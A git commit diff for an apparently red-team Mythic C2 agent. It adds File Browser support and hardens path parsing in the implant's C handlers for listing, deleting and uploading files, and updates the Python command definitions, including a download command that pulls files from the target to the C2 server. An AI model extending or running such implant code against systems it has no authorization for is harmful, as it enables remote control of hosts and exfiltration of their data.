File Browser completed
This commit is contained in:
@@ -89,12 +89,28 @@ VOID ListarDirectorio(PAnalizador argumentos){
|
|||||||
|
|
||||||
UINT32 tamanoPath = 0;
|
UINT32 tamanoPath = 0;
|
||||||
SIZE_T tamano = 0;
|
SIZE_T tamano = 0;
|
||||||
char nombreFichero[MAX_FILENAME];
|
char nombreFichero[MAX_FILENAME] = {0};
|
||||||
PCHAR fichero = getString(argumentos, &tamano);
|
PCHAR fichero = getString(argumentos, &tamano);
|
||||||
|
|
||||||
strcpy(nombreFichero, fichero);
|
if (!fichero || tamano == 0) {
|
||||||
|
_err("Invalid path received");
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
_dbg("Filename: %s", nombreFichero);
|
// Asegurar null-termination: copiar máximo tamano-1 bytes y agregar null al final
|
||||||
|
SIZE_T copyLen = (tamano < MAX_FILENAME - 1) ? tamano : MAX_FILENAME - 1;
|
||||||
|
memcpy(nombreFichero, fichero, copyLen);
|
||||||
|
nombreFichero[copyLen] = '\0';
|
||||||
|
|
||||||
|
// Limpiar cualquier carácter no imprimible o inválido al final
|
||||||
|
for (SIZE_T i = 0; i < copyLen; i++) {
|
||||||
|
if (nombreFichero[i] == '\0' || nombreFichero[i] == '\r' || nombreFichero[i] == '\n') {
|
||||||
|
nombreFichero[i] = '\0';
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
_dbg("Filename: %s (length: %zu)", nombreFichero, strlen(nombreFichero));
|
||||||
|
|
||||||
PPaquete salida = nuevoPaquete(0, FALSE);
|
PPaquete salida = nuevoPaquete(0, FALSE);
|
||||||
|
|
||||||
@@ -127,26 +143,34 @@ VOID ListarDirectorio(PAnalizador argumentos){
|
|||||||
}
|
}
|
||||||
|
|
||||||
SYSTEMTIME systemTime, localTime;
|
SYSTEMTIME systemTime, localTime;
|
||||||
|
DWORD fileCount = 0;
|
||||||
do{
|
do{
|
||||||
|
// Skip . and .. entries
|
||||||
|
if (strcmp(datosEncontrados.cFileName, ".") == 0 || strcmp(datosEncontrados.cFileName, "..") == 0) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
FileTimeToSystemTime(&datosEncontrados.ftLastWriteTime, &systemTime);
|
FileTimeToSystemTime(&datosEncontrados.ftLastWriteTime, &systemTime);
|
||||||
SystemTimeToTzSpecificLocalTime(NULL, &systemTime, &localTime);
|
SystemTimeToTzSpecificLocalTime(NULL, &systemTime, &localTime);
|
||||||
|
|
||||||
if (datosEncontrados.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY){
|
if (datosEncontrados.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY){
|
||||||
|
|
||||||
PackageAddFormatPrintf(salida, FALSE, "D\t0\t%02d/%02d/%02d %02d:%02d:%02d\t%s\n",
|
PackageAddFormatPrintf(salida, FALSE, "D\t0\t%02d/%02d/%02d %02d:%02d:%02d\t%s\n",
|
||||||
localTime.wMonth, localTime.wDay, localTime.wYear,
|
localTime.wMonth, localTime.wDay, localTime.wYear,
|
||||||
localTime.wHour, localTime.wMinute, localTime.wSecond,
|
localTime.wHour, localTime.wMinute, localTime.wSecond,
|
||||||
datosEncontrados.cFileName);
|
datosEncontrados.cFileName);
|
||||||
|
fileCount++;
|
||||||
}else{
|
}else{
|
||||||
PackageAddFormatPrintf(salida, FALSE, "F\t%I64d\t%02d/%02d/%02d %02d:%02d:%02d\t%s\n",
|
PackageAddFormatPrintf(salida, FALSE, "F\t%I64d\t%02d/%02d/%02d %02d:%02d:%02d\t%s\n",
|
||||||
((ULONGLONG)datosEncontrados.nFileSizeHigh << 32) | datosEncontrados.nFileSizeLow,
|
((ULONGLONG)datosEncontrados.nFileSizeHigh << 32) | datosEncontrados.nFileSizeLow,
|
||||||
localTime.wMonth, localTime.wDay, localTime.wYear,
|
localTime.wMonth, localTime.wDay, localTime.wYear,
|
||||||
localTime.wHour, localTime.wMinute, localTime.wSecond,
|
localTime.wHour, localTime.wMinute, localTime.wSecond,
|
||||||
datosEncontrados.cFileName);
|
datosEncontrados.cFileName);
|
||||||
|
fileCount++;
|
||||||
}
|
}
|
||||||
} while (FindNextFileA(primerFichero, &datosEncontrados));
|
} while (FindNextFileA(primerFichero, &datosEncontrados));
|
||||||
|
|
||||||
|
_dbg("[ls] Total files/directories listed: %lu", fileCount);
|
||||||
|
|
||||||
FindClose(primerFichero);
|
FindClose(primerFichero);
|
||||||
|
|
||||||
|
|
||||||
@@ -405,22 +429,45 @@ VOID BorrarDirectoriosHijos(char* rutaFichero){
|
|||||||
}
|
}
|
||||||
|
|
||||||
VOID EliminarRuta(PAnalizador argumentos){
|
VOID EliminarRuta(PAnalizador argumentos){
|
||||||
|
#define MAX_PATH_RM 0x4000
|
||||||
SIZE_T tamanoUuid = 36;
|
SIZE_T tamanoUuid = 36;
|
||||||
PCHAR tareaUuid = getString(argumentos, &tamanoUuid);
|
PCHAR tareaUuid = getString(argumentos, &tamanoUuid);
|
||||||
UINT32 nbArg = getInt32(argumentos);
|
UINT32 nbArg = getInt32(argumentos);
|
||||||
|
|
||||||
SIZE_T tamano = 0;
|
SIZE_T tamano = 0;
|
||||||
PCHAR ruta = getString(argumentos, &tamano);
|
PCHAR rutaRaw = getString(argumentos, &tamano);
|
||||||
|
|
||||||
if (nbArg == 0)
|
if (nbArg == 0)
|
||||||
return;
|
return;
|
||||||
|
|
||||||
if (EsDirectorio(ruta)){
|
if (!rutaRaw || tamano == 0) {
|
||||||
|
_err("[rm] Invalid path received");
|
||||||
|
goto end;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Asegurar null-termination: copiar máximo tamano-1 bytes y agregar null al final
|
||||||
|
char ruta[MAX_PATH_RM] = {0};
|
||||||
|
SIZE_T copyLen = (tamano < MAX_PATH_RM - 1) ? tamano : MAX_PATH_RM - 1;
|
||||||
|
memcpy(ruta, rutaRaw, copyLen);
|
||||||
|
ruta[copyLen] = '\0';
|
||||||
|
|
||||||
|
// Limpiar cualquier carácter no imprimible o inválido al final
|
||||||
|
for (SIZE_T i = 0; i < copyLen; i++) {
|
||||||
|
if (ruta[i] == '\0' || ruta[i] == '\r' || ruta[i] == '\n') {
|
||||||
|
ruta[i] = '\0';
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
_dbg("[rm] Deleting path: %s (length: %zu)", ruta, strlen(ruta));
|
||||||
|
|
||||||
|
if (EsDirectorio(ruta)){
|
||||||
|
_dbg("[rm] Path is a directory, deleting recursively");
|
||||||
BorrarDirectoriosHijos(ruta);
|
BorrarDirectoriosHijos(ruta);
|
||||||
RemoveDirectoryA(ruta);
|
RemoveDirectoryA(ruta);
|
||||||
|
|
||||||
}else{
|
}else{
|
||||||
|
_dbg("[rm] Path is a file, deleting");
|
||||||
DeleteFileA(ruta);
|
DeleteFileA(ruta);
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -445,7 +492,7 @@ VOID EliminarRuta(PAnalizador argumentos){
|
|||||||
|
|
||||||
end:;
|
end:;
|
||||||
// Cleanup
|
// Cleanup
|
||||||
LocalFree(ruta);
|
LocalFree(rutaRaw);
|
||||||
}
|
}
|
||||||
|
|
||||||
// Helper function to detect credentials in file content (internal use only)
|
// Helper function to detect credentials in file content (internal use only)
|
||||||
@@ -1287,17 +1334,87 @@ VOID SubirFichero(PAnalizador argumentos) {
|
|||||||
SIZE_T tamano = 0;
|
SIZE_T tamano = 0;
|
||||||
PCHAR file_id = getString(argumentos, &tamano);
|
PCHAR file_id = getString(argumentos, &tamano);
|
||||||
SIZE_T tamano2 = 0;
|
SIZE_T tamano2 = 0;
|
||||||
PCHAR rutaDestino = getString(argumentos, &tamano2);
|
PCHAR rutaDestinoRaw = getString(argumentos, &tamano2);
|
||||||
|
|
||||||
_dbg("[upload] File ID: \"%s\", Ruta destino: \"%s\"", file_id, rutaDestino);
|
if (!rutaDestinoRaw || tamano2 == 0) {
|
||||||
|
_err("[upload] Invalid path received");
|
||||||
|
PPaquete respuestaError = nuevoPaquete(POST_RESPONSE, TRUE);
|
||||||
|
addString(respuestaError, tareaUuid, FALSE);
|
||||||
|
PPaquete salidaError = nuevoPaquete(0, FALSE);
|
||||||
|
PackageAddFormatPrintf(salidaError, FALSE, "[upload] Error: Ruta inválida recibida\n");
|
||||||
|
addBytes(respuestaError, (PBYTE)salidaError->buffer, salidaError->length, TRUE);
|
||||||
|
mandarPaquete(respuestaError);
|
||||||
|
liberarPaquete(salidaError);
|
||||||
|
liberarPaquete(respuestaError);
|
||||||
|
goto end;
|
||||||
|
}
|
||||||
|
|
||||||
// Normalizar path y verificar que no termine en backslash
|
// Asegurar null-termination: copiar máximo tamano2-1 bytes y agregar null al final
|
||||||
char fullPath[2048] = {0};
|
#define MAX_PATH_UPLOAD 2048
|
||||||
if (GetFullPathNameA(rutaDestino, sizeof(fullPath), fullPath, NULL) == 0) {
|
char rutaDestino[MAX_PATH_UPLOAD] = {0};
|
||||||
strncpy(fullPath, rutaDestino, sizeof(fullPath) - 1);
|
SIZE_T copyLen = (tamano2 < MAX_PATH_UPLOAD - 1) ? tamano2 : MAX_PATH_UPLOAD - 1;
|
||||||
|
memcpy(rutaDestino, rutaDestinoRaw, copyLen);
|
||||||
|
rutaDestino[copyLen] = '\0';
|
||||||
|
|
||||||
|
// Limpiar cualquier carácter no imprimible o inválido (incluyendo caracteres nulos en medio)
|
||||||
|
SIZE_T cleanLen = 0;
|
||||||
|
for (SIZE_T i = 0; i < copyLen; i++) {
|
||||||
|
char c = rutaDestino[i];
|
||||||
|
// Saltar caracteres nulos, retornos de carro y saltos de línea
|
||||||
|
if (c == '\0' || c == '\r' || c == '\n') {
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
// Permitir caracteres válidos para rutas Windows (caracteres imprimibles comunes)
|
||||||
|
// Permitir: letras, números, espacios, y caracteres especiales comunes en rutas
|
||||||
|
if ((c >= 32 && c <= 126) || c == '\\' || c == '/' || c == ':') {
|
||||||
|
rutaDestino[cleanLen++] = c;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
rutaDestino[cleanLen] = '\0';
|
||||||
|
copyLen = cleanLen;
|
||||||
|
|
||||||
|
_dbg("[upload] File ID: \"%s\", Ruta destino (raw len=%zu): \"%s\"", file_id, tamano2, rutaDestino);
|
||||||
|
|
||||||
|
// Normalizar path: primero quitar dobles backslashes manualmente
|
||||||
|
char normalizedPath[MAX_PATH_UPLOAD] = {0};
|
||||||
|
SIZE_T srcLen = strlen(rutaDestino);
|
||||||
|
SIZE_T j = 0;
|
||||||
|
for (SIZE_T i = 0; i < srcLen && j < sizeof(normalizedPath) - 1; i++) {
|
||||||
|
if (rutaDestino[i] == '\\' && i + 1 < srcLen && rutaDestino[i + 1] == '\\') {
|
||||||
|
// Doble backslash, usar solo uno (excepto si es al inicio como \\server)
|
||||||
|
if (i == 0 || (i == 2 && rutaDestino[1] == '\\')) {
|
||||||
|
// Mantener doble backslash para UNC paths (\\server\share)
|
||||||
|
normalizedPath[j++] = rutaDestino[i];
|
||||||
|
} else {
|
||||||
|
// Doble backslash en medio, usar solo uno
|
||||||
|
normalizedPath[j++] = '\\';
|
||||||
|
i++; // Saltar el siguiente backslash
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
normalizedPath[j++] = rutaDestino[i];
|
||||||
|
}
|
||||||
|
}
|
||||||
|
normalizedPath[j] = '\0';
|
||||||
|
|
||||||
|
_dbg("[upload] Path después de normalizar dobles backslashes: \"%s\"", normalizedPath);
|
||||||
|
|
||||||
|
// Intentar normalizar path usando GetFullPathNameA
|
||||||
|
char fullPath[MAX_PATH_UPLOAD] = {0};
|
||||||
|
DWORD pathLenResult = GetFullPathNameA(normalizedPath, sizeof(fullPath), fullPath, NULL);
|
||||||
|
|
||||||
|
if (pathLenResult == 0 || pathLenResult >= sizeof(fullPath)) {
|
||||||
|
// Si GetFullPathNameA falla, usar la ruta normalizada directamente
|
||||||
|
DWORD lastError = GetLastError();
|
||||||
|
_dbg("[upload] GetFullPathNameA falló (ret=%lu, error=%lu) o path muy largo, usando ruta normalizada", pathLenResult, lastError);
|
||||||
|
strncpy(fullPath, normalizedPath, sizeof(fullPath) - 1);
|
||||||
fullPath[sizeof(fullPath) - 1] = '\0';
|
fullPath[sizeof(fullPath) - 1] = '\0';
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// Asegurar null-termination en fullPath
|
||||||
|
fullPath[sizeof(fullPath) - 1] = '\0';
|
||||||
|
|
||||||
|
_dbg("[upload] Full path normalizado: \"%s\" (len=%zu)", fullPath, strlen(fullPath));
|
||||||
|
|
||||||
// Verificar si el path es un directorio (termina en \ o es un directorio existente)
|
// Verificar si el path es un directorio (termina en \ o es un directorio existente)
|
||||||
SIZE_T pathLen = strlen(fullPath);
|
SIZE_T pathLen = strlen(fullPath);
|
||||||
if (pathLen > 0 && (fullPath[pathLen - 1] == '\\' || fullPath[pathLen - 1] == '/')) {
|
if (pathLen > 0 && (fullPath[pathLen - 1] == '\\' || fullPath[pathLen - 1] == '/')) {
|
||||||
@@ -1328,6 +1445,35 @@ VOID SubirFichero(PAnalizador argumentos) {
|
|||||||
goto end;
|
goto end;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// Verificar que el directorio padre exista, y crearlo si no existe
|
||||||
|
char parentDir[MAX_PATH_UPLOAD] = {0};
|
||||||
|
strncpy(parentDir, fullPath, sizeof(parentDir) - 1);
|
||||||
|
parentDir[sizeof(parentDir) - 1] = '\0';
|
||||||
|
|
||||||
|
// Encontrar el último backslash
|
||||||
|
char* lastSlash = strrchr(parentDir, '\\');
|
||||||
|
if (lastSlash && lastSlash > parentDir) {
|
||||||
|
*lastSlash = '\0';
|
||||||
|
|
||||||
|
// Verificar si el directorio padre existe
|
||||||
|
DWORD parentAttrib = GetFileAttributesA(parentDir);
|
||||||
|
if (parentAttrib == INVALID_FILE_ATTRIBUTES) {
|
||||||
|
// Directorio padre no existe, intentar crearlo
|
||||||
|
_dbg("[upload] Directorio padre no existe, creándolo: %s", parentDir);
|
||||||
|
|
||||||
|
// Crear directorios padre recursivamente usando SHCreateDirectoryExA
|
||||||
|
// Como alternativa, usar una función simple que cree directorios uno por uno
|
||||||
|
if (!CreateDirectoryA(parentDir, NULL)) {
|
||||||
|
DWORD createError = GetLastError();
|
||||||
|
if (createError != ERROR_ALREADY_EXISTS) {
|
||||||
|
_err("[upload] No se pudo crear directorio padre '%s'. Código: %lu", parentDir, createError);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
_dbg("[upload] Intentando crear archivo: %s", fullPath);
|
||||||
|
|
||||||
// Crear archivo de destino
|
// Crear archivo de destino
|
||||||
HANDLE hFile = CreateFileA(
|
HANDLE hFile = CreateFileA(
|
||||||
fullPath,
|
fullPath,
|
||||||
@@ -1341,7 +1487,7 @@ VOID SubirFichero(PAnalizador argumentos) {
|
|||||||
|
|
||||||
if (hFile == INVALID_HANDLE_VALUE) {
|
if (hFile == INVALID_HANDLE_VALUE) {
|
||||||
DWORD error = GetLastError();
|
DWORD error = GetLastError();
|
||||||
_err("[upload] No se pudo crear el archivo. Código: %lu\n", error);
|
_err("[upload] No se pudo crear el archivo '%s'. Código: %lu (GetLastError)", fullPath, error);
|
||||||
|
|
||||||
PPaquete respuestaError = nuevoPaquete(POST_RESPONSE, TRUE);
|
PPaquete respuestaError = nuevoPaquete(POST_RESPONSE, TRUE);
|
||||||
addString(respuestaError, tareaUuid, FALSE);
|
addString(respuestaError, tareaUuid, FALSE);
|
||||||
|
|||||||
@@ -29,6 +29,7 @@ class DownloadCommand(CommandBase):
|
|||||||
help_cmd = "download <path>"
|
help_cmd = "download <path>"
|
||||||
description = "Download a file from the target to the Mythic server"
|
description = "Download a file from the target to the Mythic server"
|
||||||
version = 1
|
version = 1
|
||||||
|
supported_ui_features = ["file_browser:download"]
|
||||||
author = "@KaseyaOFSTeam"
|
author = "@KaseyaOFSTeam"
|
||||||
argument_class = DownloadArguments
|
argument_class = DownloadArguments
|
||||||
|
|
||||||
|
|||||||
@@ -2,6 +2,8 @@ from mythic_container.MythicCommandBase import *
|
|||||||
from mythic_container.MythicRPC import *
|
from mythic_container.MythicRPC import *
|
||||||
import re
|
import re
|
||||||
import string, json
|
import string, json
|
||||||
|
import os
|
||||||
|
from datetime import datetime
|
||||||
|
|
||||||
import logging
|
import logging
|
||||||
|
|
||||||
@@ -22,26 +24,74 @@ class LsArguments(TaskArguments):
|
|||||||
]
|
]
|
||||||
|
|
||||||
async def parse_arguments(self):
|
async def parse_arguments(self):
|
||||||
logging.info("Parse Aguments")
|
if len(self.command_line) > 0:
|
||||||
pass
|
# Check if it's JSON from File Browser
|
||||||
|
if self.command_line[0] == '{':
|
||||||
|
try:
|
||||||
|
temp_json = json.loads(self.command_line)
|
||||||
|
if 'host' in temp_json:
|
||||||
|
# File Browser format: combine path + file
|
||||||
|
full_path = temp_json.get('full_path', '')
|
||||||
|
if full_path:
|
||||||
|
self.add_arg("path", full_path)
|
||||||
|
else:
|
||||||
|
path = temp_json.get('path', '')
|
||||||
|
file = temp_json.get('file', '')
|
||||||
|
if path and file:
|
||||||
|
# Normalize path separators
|
||||||
|
if not path.endswith('\\') and not path.endswith('/'):
|
||||||
|
path = path + "\\"
|
||||||
|
self.add_arg("path", path + file)
|
||||||
|
elif path:
|
||||||
|
self.add_arg("path", path)
|
||||||
|
else:
|
||||||
|
self.add_arg("path", ".\\*")
|
||||||
|
self.add_arg("host", temp_json.get('host', ''))
|
||||||
|
self.add_arg("file_browser", "true")
|
||||||
|
return
|
||||||
|
except:
|
||||||
|
pass
|
||||||
|
# Regular command line usage
|
||||||
|
self.add_arg("path", self.command_line)
|
||||||
|
self.add_arg("host", "")
|
||||||
|
self.add_arg("file_browser", "false")
|
||||||
|
else:
|
||||||
|
# No arguments, list current directory
|
||||||
|
self.add_arg("path", ".\\*")
|
||||||
|
self.add_arg("host", "")
|
||||||
|
self.add_arg("file_browser", "false")
|
||||||
|
|
||||||
async def parse_dictionary(self, dictionary):
|
async def parse_dictionary(self, dictionary):
|
||||||
logging.info("Parse Dictionary")
|
logging.info(f"Parse Dictionary - {dictionary}")
|
||||||
if "host" in dictionary:
|
if "host" in dictionary:
|
||||||
|
# File Browser format
|
||||||
logging.info(f"Command came from File Browser UI - {dictionary}")
|
logging.info(f"Command came from File Browser UI - {dictionary}")
|
||||||
self.add_arg("path", dictionary["path"] + "\\" + dictionary["file"])
|
full_path = dictionary.get('full_path', '')
|
||||||
# self.add_arg("file_browser", type=ParameterType.Boolean, value=True)
|
if full_path:
|
||||||
|
self.add_arg("path", full_path)
|
||||||
|
else:
|
||||||
|
path = dictionary.get("path", '')
|
||||||
|
file = dictionary.get("file", '')
|
||||||
|
if path and file:
|
||||||
|
if not path.endswith('\\') and not path.endswith('/'):
|
||||||
|
path = path + "\\"
|
||||||
|
self.add_arg("path", path + file)
|
||||||
|
elif path:
|
||||||
|
self.add_arg("path", path)
|
||||||
|
else:
|
||||||
|
self.add_arg("path", ".\\*")
|
||||||
|
self.add_arg("host", dictionary.get("host", ""))
|
||||||
|
self.add_arg("file_browser", "true")
|
||||||
else:
|
else:
|
||||||
|
# Command line usage
|
||||||
logging.info(f"Command came from CMDLINE - {dictionary}")
|
logging.info(f"Command came from CMDLINE - {dictionary}")
|
||||||
|
|
||||||
arg_path = dictionary.get("path")
|
arg_path = dictionary.get("path")
|
||||||
if arg_path:
|
if arg_path:
|
||||||
self.add_arg("path", arg_path)
|
self.add_arg("path", arg_path)
|
||||||
else:
|
else:
|
||||||
self.add_arg("path", ".\\*") # List current directory if no args
|
self.add_arg("path", ".\\*")
|
||||||
|
self.add_arg("host", "")
|
||||||
self.add_arg("file_browser", "true")
|
self.add_arg("file_browser", "false")
|
||||||
|
|
||||||
self.load_args_from_dictionary(dictionary)
|
self.load_args_from_dictionary(dictionary)
|
||||||
|
|
||||||
@@ -98,4 +148,191 @@ class LsCommand(CommandBase):
|
|||||||
|
|
||||||
async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse:
|
async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse:
|
||||||
resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True)
|
resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True)
|
||||||
|
|
||||||
|
# Log that process_response was called
|
||||||
|
logging.info(f"[FILE_BROWSER] process_response called for task {task.Task.ID}")
|
||||||
|
logging.info(f"[FILE_BROWSER] response type: {type(response)}")
|
||||||
|
if response:
|
||||||
|
logging.info(f"[FILE_BROWSER] response keys: {list(response.keys()) if isinstance(response, dict) else 'not a dict'}")
|
||||||
|
|
||||||
|
# Check if this was from File Browser
|
||||||
|
is_file_browser = task.args.get_arg("file_browser") == "true"
|
||||||
|
logging.info(f"[FILE_BROWSER] is_file_browser={is_file_browser}")
|
||||||
|
|
||||||
|
# Check if translator already parsed file_browser format
|
||||||
|
# The translator automatically detects and parses File Browser format,
|
||||||
|
# so we only need to enhance it with host info if needed
|
||||||
|
if isinstance(response, dict) and "file_browser" in response:
|
||||||
|
logging.info(f"[FILE_BROWSER] Translator already parsed file_browser, just adding host if missing")
|
||||||
|
file_browser_data = response.get("file_browser")
|
||||||
|
if file_browser_data and not file_browser_data.get("host"):
|
||||||
|
host = task.args.get_arg("host") or ""
|
||||||
|
if not host and task.Callback:
|
||||||
|
host = task.Callback.Host
|
||||||
|
file_browser_data["host"] = host
|
||||||
|
resp.ProcessResponse = response
|
||||||
|
return resp
|
||||||
|
|
||||||
|
# Only parse if translator didn't already do it (fallback for non-File Browser commands)
|
||||||
|
if is_file_browser and response:
|
||||||
|
try:
|
||||||
|
# Agent output format:
|
||||||
|
# Line 1: directory path
|
||||||
|
# Lines 2+: D/F\tSIZE\tMM/DD/YYYY HH:MM:SS\tNAME
|
||||||
|
|
||||||
|
output_text = response.get("user_output", "")
|
||||||
|
if not output_text:
|
||||||
|
return resp
|
||||||
|
|
||||||
|
lines = [l.strip() for l in output_text.strip().split('\n') if l.strip()]
|
||||||
|
if len(lines) < 1:
|
||||||
|
logging.warning("[FILE_BROWSER] No lines in output")
|
||||||
|
return resp
|
||||||
|
|
||||||
|
logging.info(f"[FILE_BROWSER] Parsing {len(lines)} lines from output")
|
||||||
|
logging.info(f"[FILE_BROWSER] First few lines: {lines[:3]}")
|
||||||
|
|
||||||
|
# First line is the directory path being listed
|
||||||
|
dir_path = lines[0].strip()
|
||||||
|
|
||||||
|
# Normalize path
|
||||||
|
if dir_path.endswith('\\*'):
|
||||||
|
dir_path = dir_path[:-2]
|
||||||
|
if dir_path.endswith('*'):
|
||||||
|
dir_path = dir_path[:-1]
|
||||||
|
dir_path = dir_path.rstrip('\\/')
|
||||||
|
|
||||||
|
# Determine parent path
|
||||||
|
if dir_path.endswith(':\\') or dir_path == '':
|
||||||
|
parent_path = ""
|
||||||
|
else:
|
||||||
|
parent_path = os.path.dirname(dir_path) if os.path.dirname(dir_path) else ""
|
||||||
|
|
||||||
|
# Get hostname
|
||||||
|
host = task.args.get_arg("host") or ""
|
||||||
|
if not host:
|
||||||
|
host = task.Callback.Host if task.Callback else ""
|
||||||
|
|
||||||
|
# Determine if the listed item is a file or directory
|
||||||
|
# Since we're listing a directory, it's typically not a file
|
||||||
|
is_file = False
|
||||||
|
name = os.path.basename(dir_path) if dir_path else ""
|
||||||
|
if not name:
|
||||||
|
# Root directory case (e.g., C:\)
|
||||||
|
if len(dir_path) == 2 and dir_path[1] == ':':
|
||||||
|
name = dir_path[0] + ':'
|
||||||
|
parent_path = ""
|
||||||
|
else:
|
||||||
|
name = dir_path
|
||||||
|
|
||||||
|
# Parse file/directory entries
|
||||||
|
# Format: D/F\tSIZE\tMM/DD/YYYY HH:MM:SS\tNAME
|
||||||
|
files = []
|
||||||
|
for i, line in enumerate(lines[1:], 1): # Start from line 1 (skip path line)
|
||||||
|
parts = line.split('\t')
|
||||||
|
logging.debug(f"[FILE_BROWSER] Line {i}: {line[:100]}... (parts: {len(parts)})")
|
||||||
|
if len(parts) >= 4:
|
||||||
|
file_type = parts[0].strip() # D or F
|
||||||
|
size_str = parts[1].strip()
|
||||||
|
datetime_str = parts[2].strip() # MM/DD/YYYY HH:MM:SS (already combined)
|
||||||
|
file_name = parts[3].strip() if len(parts) > 3 else ""
|
||||||
|
|
||||||
|
# Skip empty lines or invalid entries
|
||||||
|
if not file_type or not file_name:
|
||||||
|
continue
|
||||||
|
|
||||||
|
# Skip . and ..
|
||||||
|
if file_name in ['.', '..']:
|
||||||
|
continue
|
||||||
|
|
||||||
|
try:
|
||||||
|
# Parse date: MM/DD/YYYY HH:MM:SS
|
||||||
|
date_obj = datetime.strptime(datetime_str, "%m/%d/%Y %H:%M:%S")
|
||||||
|
modify_time_ms = int(date_obj.timestamp() * 1000)
|
||||||
|
# Use modify_time as access_time (agent doesn't provide separate access time)
|
||||||
|
access_time_ms = modify_time_ms
|
||||||
|
|
||||||
|
# Filter out invalid dates (before 1980 or after year 2100)
|
||||||
|
# This helps filter out files with corrupted timestamps (e.g., 1970 epoch issues)
|
||||||
|
if modify_time_ms < 315532800000 or modify_time_ms > 4102444800000: # Before 1980-01-01 or after 2100-01-01
|
||||||
|
logging.warning(f"[FILE_BROWSER] Skipping file with invalid date: {file_name} (timestamp: {modify_time_ms}, date: {datetime_str})")
|
||||||
|
continue
|
||||||
|
except Exception as date_err:
|
||||||
|
logging.warning(f"Could not parse date '{datetime_str}': {date_err}")
|
||||||
|
# Skip files with unparseable dates
|
||||||
|
continue
|
||||||
|
|
||||||
|
try:
|
||||||
|
# Parse size - remove any text like "b" or "by" at the end
|
||||||
|
size_str_clean = re.sub(r'[^\d]', '', size_str) # Remove all non-digits
|
||||||
|
if size_str_clean:
|
||||||
|
size = int(size_str_clean) if file_type == 'F' else 0
|
||||||
|
else:
|
||||||
|
size = 0
|
||||||
|
except Exception as size_err:
|
||||||
|
logging.warning(f"Could not parse size '{size_str}': {size_err}")
|
||||||
|
size = 0
|
||||||
|
|
||||||
|
# Get file attributes as permissions (Windows specific)
|
||||||
|
permissions = {
|
||||||
|
"attributes": "DIRECTORY" if file_type == 'D' else "FILE"
|
||||||
|
}
|
||||||
|
|
||||||
|
# Skip files with invalid names or empty names
|
||||||
|
if file_name and file_name.strip() and file_name not in ['.', '..']:
|
||||||
|
files.append({
|
||||||
|
"is_file": file_type == 'F',
|
||||||
|
"permissions": permissions,
|
||||||
|
"name": file_name,
|
||||||
|
"access_time": access_time_ms,
|
||||||
|
"modify_time": modify_time_ms,
|
||||||
|
"size": size
|
||||||
|
})
|
||||||
|
logging.debug(f"[FILE_BROWSER] Added: {file_name} ({'file' if file_type == 'F' else 'dir'}, size={size})")
|
||||||
|
else:
|
||||||
|
logging.warning(f"[FILE_BROWSER] Skipping line {i} - insufficient parts: {len(parts)}")
|
||||||
|
|
||||||
|
# Remove duplicates by name to ensure clean response
|
||||||
|
seen_files = {}
|
||||||
|
unique_files = []
|
||||||
|
for f in files:
|
||||||
|
file_name = f.get("name", "")
|
||||||
|
# Only add if we haven't seen this file name before
|
||||||
|
if file_name and file_name not in seen_files:
|
||||||
|
seen_files[file_name] = True
|
||||||
|
unique_files.append(f)
|
||||||
|
|
||||||
|
# Use current timestamp for modify_time to help Mythic identify fresh responses
|
||||||
|
import time
|
||||||
|
current_timestamp_ms = int(time.time() * 1000)
|
||||||
|
|
||||||
|
# Build file_browser response
|
||||||
|
file_browser_data = {
|
||||||
|
"host": host,
|
||||||
|
"is_file": is_file,
|
||||||
|
"permissions": {"attributes": "DIRECTORY"} if not is_file else {"attributes": "FILE"},
|
||||||
|
"name": name,
|
||||||
|
"parent_path": parent_path,
|
||||||
|
"success": True,
|
||||||
|
"access_time": current_timestamp_ms, # Use current time to help with cache invalidation
|
||||||
|
"modify_time": current_timestamp_ms, # Use current time to help with cache invalidation
|
||||||
|
"size": 0,
|
||||||
|
"update_deleted": True, # Tell Mythic this is the complete list - mark missing files as deleted
|
||||||
|
"files": unique_files # Use deduplicated files list - complete and fresh
|
||||||
|
}
|
||||||
|
|
||||||
|
logging.info(f"[FILE_BROWSER] Sending fresh listing for '{name}' with {len(unique_files)} unique files (timestamp: {current_timestamp_ms}, update_deleted=True)")
|
||||||
|
|
||||||
|
# Add file_browser to response
|
||||||
|
# Merge with existing response (like rm.py does)
|
||||||
|
resp.ProcessResponse = response if isinstance(response, dict) else {}
|
||||||
|
resp.ProcessResponse["file_browser"] = file_browser_data
|
||||||
|
logging.info(f"[FILE_BROWSER] Added {len(files)} files/directories to file_browser response")
|
||||||
|
logging.info(f"[FILE_BROWSER] ProcessResponse keys: {list(resp.ProcessResponse.keys())}")
|
||||||
|
|
||||||
|
except Exception as e:
|
||||||
|
logging.error(f"Error parsing file browser response: {str(e)}")
|
||||||
|
import traceback
|
||||||
|
logging.error(traceback.format_exc())
|
||||||
|
|
||||||
return resp
|
return resp
|
||||||
@@ -1,6 +1,8 @@
|
|||||||
from mythic_container.MythicCommandBase import *
|
from mythic_container.MythicCommandBase import *
|
||||||
from mythic_container.MythicRPC import *
|
from mythic_container.MythicRPC import *
|
||||||
|
import logging
|
||||||
|
|
||||||
|
logging.basicConfig(level=logging.INFO)
|
||||||
|
|
||||||
class RmArguments(TaskArguments):
|
class RmArguments(TaskArguments):
|
||||||
def __init__(self, command_line, **kwargs):
|
def __init__(self, command_line, **kwargs):
|
||||||
@@ -22,8 +24,45 @@ class RmArguments(TaskArguments):
|
|||||||
self.add_arg("path", self.command_line)
|
self.add_arg("path", self.command_line)
|
